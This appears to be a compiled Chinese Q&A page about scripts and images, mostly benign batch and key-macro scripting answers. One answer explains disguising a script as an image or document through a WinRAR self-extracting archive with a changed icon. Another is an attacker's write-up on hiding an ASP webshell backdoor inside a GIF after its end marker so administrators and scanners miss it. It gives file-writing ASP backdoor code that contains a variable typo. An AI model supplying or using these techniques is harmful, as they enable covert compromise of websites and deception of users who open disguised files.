腳本圖片
『壹』 bat腳本重命名圖片
@echooff
setx=0
for/f"tokens=*usebackq"%%ain(`dir/b/a:-d`)do(
set/ax+=1
rename".\%%a"!x!.*)
echo完成按任意鍵退出...
pause1>nul
不懂追問,滿意給採納謝謝
『貳』 js腳本實現圖片的保存
沒那功能,如果生成的是svg代碼,一般會把svg傳到伺服器繪製成圖片格式然後返回下載,就像Ext中的圖表。我知道一個類似的產品 strawberry ,不過我忘了它有沒有保存功能。
『叄』 windows下腳本生成圖片清單
@echooff&title生成圖片名清單By依夢琴瑤
cd/d%~dp0
::設置圖片格式
setExt=*.jp*g,*.png,*.bmp,*.gif
(for%%ain(%Ext%)do(
echo"%%~na"|findstr/i"cat">nul2>nul&&echo%%~a1
echo"%%~na"|findstr/i"fish">nul2>nul&&echo%%~a2
))>圖片名清單.txt
pause
『肆』 如何把腳本偽裝成圖片或文檔,並禁止右鍵點編輯~~
使用winrar工具把它壓縮成可執行文件,製作選項中可以更換圖標。
『伍』 按鍵精靈 腳本圖片判斷
顯然,你的程序邏輯錯了,為了清晰的表示你的邏輯,我調整了你代碼的位置,希望你以後能夠養成一個好的程序習慣,便於檢查和分析,我沒有改變你代碼,只是在適當的位置低格了:
FindPic 1369, 801, 1387, 820, "Attachment:\圖片A.bmp", 0.9, intX, intY
If intX > 0 And intY > 0 Then
Delay 1000
FindPic 0, 0, 1440, 900, "Attachment:\1.bmp", 0.9, aaX, aaY
If aaX > 0 And aaY > 0 Then
MoveTo aaX, aaY
Delay 1000
LeftClick 1
Delay 1000
FindPic 0, 0, 1440, 900, "Attachment:\9.bmp", 0.9, bbX, bbY
If bbX > 0 And bbY > 0 Then
MoveTo bbX, bbY
Delay 1000
LeftClick 1
Delay 1000
ElseIf intX <= 0 And intY <= 0 Then
FindPic 1369, 801, 1387, 820, "Attachment:\圖片B.bmp", 0.9, iX, iY
If iX > 0 And iY > 0 Then
Delay 1000
FindPic 0, 0, 1440, 900, "Attachment:\0.bmp", 0.9, intX, intY
If intX > 0 And intY > 0 Then
MoveTo intX, intY
Delay 1000
LeftClick 1
Delay 1000
FindPic 0, 0, 1440, 900, "Attachment:\2.bmp", 0.9, intX, intY
If intX > 0 And intY > 0 Then
MoveTo intX, intY
Delay 1000
LeftClick 1
Delay 1000
End If
End If
End If
End If
End If
End If
你的程序結構是:
FindPic 1369, 801, 1387, 820, "Attachment:\圖片A.bmp", 0.9, intX, intY
If intX > 0 And intY > 0 Then
//中間有許多代碼。
End If
顯然,你的邏輯,如果沒有找到圖,中間那麼多代碼是不會執行的,你看下面兩個例子:
//例子1,條件是a>0和b>0,c=0;a>0和b<=0,c=1;a<=0時,不執行第二個if
If a > 0 Then
If b > 0 Then
c = 0
Else
c = 1
End If
End If
//例子2,條件是a>0和b>0,c=0;a<=0時,c=0,不執行第二個if
If a > 0 Then
If b > 0 Then
c = 0
End If
Else
c = 1
End If
你用到的邏輯是例子2,但是你寫的邏輯是例子1,下面我根據你的變數,大概知道你的邏輯,幫你修改了一下,你再理解的基礎上可以再更改,代碼如下:
FindPic 1369, 801, 1387, 820, "Attachment:\圖片A.bmp", 0.9, intX, intY
If intX > 0 And intY > 0 Then
Delay 1000
FindPic 0, 0, 1440, 900, "Attachment:\1.bmp", 0.9, aaX, aaY
If aaX > 0 And aaY > 0 Then
MoveTo aaX, aaY
Delay 1000
LeftClick 1
Delay 1000
End If
//找圖1執行完了,要結束這個條件語句,如果沒有End If,就變成了必須找到圖1,才執行下面找圖9
FindPic 0, 0, 1440, 900, "Attachment:\9.bmp", 0.9, bbX, bbY
If bbX > 0 And bbY > 0 Then
MoveTo bbX, bbY
Delay 1000
LeftClick 1
Delay 1000
End If //找圖9執行完了,要結束這個條件語句。
//下面找圖B裡面的End If和上面一樣,我就不再詳細解釋了。
ElseIf intX <= 0 And intY <= 0 Then //這里可以直接寫Else
FindPic 1369, 801, 1387, 820, "Attachment:\圖片B.bmp", 0.9, iX, iY
If iX > 0 And iY > 0 Then
Delay 1000
FindPic 0, 0, 1440, 900, "Attachment:\0.bmp", 0.9, intX, intY
If intX > 0 And intY > 0 Then
MoveTo intX, intY
Delay 1000
LeftClick 1
Delay 1000
End If
FindPic 0, 0, 1440, 900, "Attachment:\2.bmp", 0.9, intX, intY
If intX > 0 And intY > 0 Then
MoveTo intX, intY
Delay 1000
LeftClick 1
Delay 1000
End If
End If
End If
『陸』 腳本如何插入多張圖片
把你要在插入的三張圖設為B C D
FindPic 820,777,1070,792,"Attachment:\A.bmp" OR "Attachment:\B.bmp" OR "Attachment:\C.bmp" OR "Attachment:\D.bmp" ,1.0,intX,intY
以此類推空一個加OR在空一個然後插入目錄名稱
『柒』 圖片內加入腳本
現在從注入拿WEBSHELL看來成功率都比較高了。拿到SHELL後,安裝自己的腳本後門,常常被查殺。 腳本後門的發展史:
1。最開始就是直接放一個ASP文件上去。
2。把ASP文件加密才放上去。
3。把腳本插入到代碼中去。(我經常用這種) 不過一樣被查得出來,我前段時候手工檢測一個站的腳本安全。發現這個站被種了21個木馬。所以我就想到了,怎麼樣才能不被發現不能被查殺。 最後我研究了一下如果把腳本插入到圖片中。然後在ASP中調用圖片中的腳本程序應該就可以了。 測試的時候通過了。現在我把我的心德寫一下。讓大家來分析一下。共同進步和完善這種方法。 在研究過程中我看了GIF圖片的結構文檔方面的書。 GIF圖片都是以 00 3B 為結束的。換句話說00 3B 後面的不會顯示出來。所以我們在00 3B後面插入代碼就行了。當然代碼我們加密放到圖片中去效果更好。我寫了一個程序來這么做。 這里要說一下,在圖片中00 3B後面的是不會顯示出來的。 但其中的代碼已經運行了。圖片也會正常顯示出來。 測試:
在圖片後面加入:<%=now%>
然後在一個ASP文件中加入:<!--#include file="aaa.gif" --> 然後你們下載這個圖片,發現圖片最後面變成了時間。很正常因為圖片放到了ASP腳本中運行了其中的代碼。 換句話來說,如果寫的是一段生成文件的腳本。那麼我們提交特定的參數讓圖片中的代碼去生成文件。這樣就實現了我們的後門。 1:這種方法要做的工作就是在目標站點中找一張GIF圖片然後把代碼插入到圖片中,再上傳到站點中去。這樣作管理員很難找到木馬在哪裡。打死也想不到木馬在圖片中。 2:我們插入的代碼只有一行就是那個include file .....
找個文件大點的ASP文件給插進去就行了。 然後我們在本地POST數據提交給ASP引用圖片的URL這樣就完成了工作。 我的插入圖片的腳本: <% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% fdata = request("cyfddata") %>
<% if fdata<>"" then %>
<% syfdpath=server.mappath(Request.ServerVariables("SCRIPT_NAME"))&"\ok.asp"%>
<% Set objCountFile=objFSO.CreateTextFile(syfdapth,True) %>
<% objCountFile.Write fdata %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %> 這段代碼主要就是在當前目錄下生成一個ok.asp文件。
文件內容是由我們提交的數據.用request("cyfddata")來獲取的。 這段代碼加密後插入到圖片中去。下面我把我程序的代碼貼出來。 本地自己構建一個提交表單向ASP文件提交(加入圖片那個文件) 表單文本框輸入內容名稱是:cyfddata 後感:
我本人認為這種方法,管理員很難查到。這是我兩天前想到的作出來了,可能有些問題希望和大家一起討論,必競,為了追求技術就得研究技術。
共享知識,從而升華。
感覺去研究一些新東西,人活得更XS些。
『捌』 腳本能做好一個自動保存圖片嗎
這個看具體情況,反正有些可以,部分不太信,因為存在一些影響,
『玖』 求按鍵精靈識別圖片腳本
FindPic 0,0,1024,768,"Attachment:\圖片.bmp",0.9,intX,intY//圖片自己截取添加到附件里
If intX > 0 And intY > 0 Then //如果找到則
MoveTo 0, 0//滑鼠移動到坐標0,0
Delay 1000//延時1秒
LeftClick 1//滑鼠單擊
Else //否則(沒有找到)
MoveTo 0, 0//滑鼠移動到坐標0,0
Delay 1000//延時1秒
LeftClick 1//滑鼠單擊
End If
『拾』 圖片要怎樣合成腳本又是什麼
關於圖片的合成,你可以參考一下這個網,上面有圖文教程,說得很清楚。http://bbs.cfanclub.net/printpage.asp?BoardID=79&id=514838
腳本是批處理文件的延伸,是一種純文本保存的程序,一般來說的計算機腳本程序是確定的一系列控制計算機進行運算操作動作的組合,在其中可以實現一定的邏輯分支等。
腳本程序相對一般程序開發來說比較接近自然語言,可以不經編譯而是解釋執行,利於快速開發或一些輕量的控制。
現在的腳本語言是比較多的,一般的腳本語言的執行只同具體的解釋執行器有關,所以只要系統上有相應語言的解釋程序就可以做到跨平台。
腳本(Script),就是含有bind和alias等命令的集合,你可以把這個集合存為一個獨立的文件然後在需要的時候執行,這樣就可以方便你在CS中的使用。
腳本可以存為後綴名為.cfg的文件放在cstrike文件夾下,執行時在控制台輸入:exec(腳本文件名).cfg即可。比如將一個腳本存為buys.cfg文件,則在控制台中輸入:execbuys.cfg則可以實現我們所需要的功能。要實現一個命令只要把這一過程定義(alias)好,並且分配一個鍵位給這個命令,以後只要按分配好的鍵位,就可以實現這一過程。所有的腳本都是通過這一方法實現的。